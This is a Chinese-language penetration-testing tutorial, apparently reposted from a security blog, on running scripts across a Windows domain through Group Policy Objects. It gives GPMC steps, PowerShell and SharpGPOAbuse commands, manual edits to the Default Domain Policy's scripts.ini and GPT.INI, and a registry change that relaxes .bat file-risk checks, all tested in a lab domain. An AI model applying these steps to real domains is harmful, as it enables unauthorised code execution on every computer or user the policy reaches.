7

域渗透——利用GPO中的脚本实现远程执行

 1 year ago
source link: https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

域渗透——利用GPO中的脚本实现远程执行

17 Oct 2022

0x00 前言


在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》介绍了通过域组策略(Group Policy Object)远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object)的脚本实现远程执行。

0x01 简介


本文将要介绍以下内容:

  • 通过Group Policy Management Console (GPMC) 实现脚本的远程执行
  • 通过命令行实现脚本的远程执行
  • 新建GPO实现远程执行
  • 修改已有的GPO,实现远程执行

0x02 通过Group Policy Management Console (GPMC) 实现脚本的远程执行


1.创建GPO

在域控制器上,位置: Administrative Tools -> Group Policy Management

如果想要作用于整个域,选择域test.com,右键,选择Create a GPO in this domain,and Link it here...,如下图

Alt text

如果想要作用于指定对象,需要选择提前创建好的OU,右键,选择Create a GPO in this domain,and Link it here...,如下图

Alt text

补充:创建OU的位置:Administrative Tools -> Active Directory Users and Computers

2.配置GPO

选择创建好的GPO,右键,选择Edit...

(1)指定Startup/Shutdown/Logon/Logoff时要执行的脚本

Startup/Shutdown的位置为Computer Configuration -> Windows Settings -> Scripts(Startup/Shutdown),作用于域内计算机的开机和关机事件

Logon/Logoff的位置为User Configuration -> Windows Settings -> Scripts(Logon/Logoff),作用于域用户的登陆和注销事件

这里以配置用户test1的登陆脚本为例进行配置,选择Login,将要执行的脚本上传至域共享文件夹,默认位置为:\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon,配置登陆执行的脚本为logon1.bat,如下图

Alt text

注:

直接将脚本上传至\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon不会生效,必须在Logon中指定要执行的脚本

(2)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新

为了提高测试效率,可在客户端执行命令gpupdate /force强制更新组策略

(3)等待触发脚本执行

在Computer01上登陆用户test1,发现执行了脚本logon1.bat

0x03 通过命令行实现脚本的远程执行


1.作用于全域

(1)创建一个GPO

Powershell命令:New-GPO -Name TestGPO1

(2)将GPO连到到域test.com

Powershell命令:New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"

注:

两条命令可以简写为一条命令:new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"

(3)通过SharpGPOAbuse设置执行的脚本

命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

这里也可以通过修改bat文件的内容判断用户名实现作用于指定目标,筛选用户test1的命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"

(4)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(5)等待触发脚本执行

(6)删除GPO

Powershell命令:Remove-GPO -Name TestGPO1

2.作用于指定目标

(1)创建OU

Powershell命令:New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"

(2)确认用户test1的位置

cmd命令:dsquery user -name test1

返回结果:

"CN=test1,CN=Users,DC=test,DC=com"

(3)将指定用户test1移动至新创建的OUtest2

cmd命令:dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"

也可以使用cmd命令:dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"

(4)创建一个GPO并将其连接到指定OU

Powershell命令:new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"

(5)通过SharpGPOAbuse设置执行的脚本

命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"

(6)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(7)等待触发脚本执行

(8)删除GPO

Powershell命令:Remove-GPO -Name TestGPO2

(9)将用户test1移除OU至原位置

cmd命令:dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"

(10)删除OU

Powershell命令:

Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False

0x04 修改已有的GPO,实现远程执行


默认存在两个组策略,每个文件夹对应一个组策略:

{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy

{31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy

默认可利用的组策略为Default Domain Policy,这里分为手动修改和通过程序自动实现两部分进行介绍

1.手动修改

(1)获取GPO的guid

Powershell命令:get-GPO -Name "Default Domain Policy"

得到Id为31b2f340-016d-11d2-945f-00c04fb984f9

(2)上传要执行的用户登录脚本

将测试脚本test1.bat上传至\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon

(3)启用用户登录脚本

创建文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini,属性为隐藏文件,内容为:


[Logon]
0CmdLine=test1.bat
0Parameters=

(4)修改版本信息

修改文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI,将Version的原有数值加上65536作为新的数值

具体来说,默认配置下,\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INIVersion值为3,第一次修改时需要将其修改为65539

(5)更新数据库信息

需要编写程序实现,代码可参考https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189

当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:

  • 备份GPO
  • 修改Backup.xml
  • 修改gpreport.xml
  • 还原GPO

(6)等待域组策略更新

默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟

(7)等待触发脚本执行

2.通过程序实现

通过SharpGPOAbuse可以实现,命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"

0x05 直接执行远程脚本


当我们选择直接执行组策略文件夹中的bat文件,会弹框提示无法执行,如下图

Alt text

这里可以通过修改注册表的方式设置为允许,对应的命令为:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f

该操作也可以通过配置域组策略实现,位置为:User Configuration -> Administrative Templates -> Windows Components -> Attachment Manager -> Inclusion list for moderate risk file types,选择Enabled,后缀名设置为.bat,如下图

Alt text

0x06 小结


本文介绍了通过域组策略(Group Policy Object)中的脚本实现远程执行的方法,分享实现细节和利用思路。


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK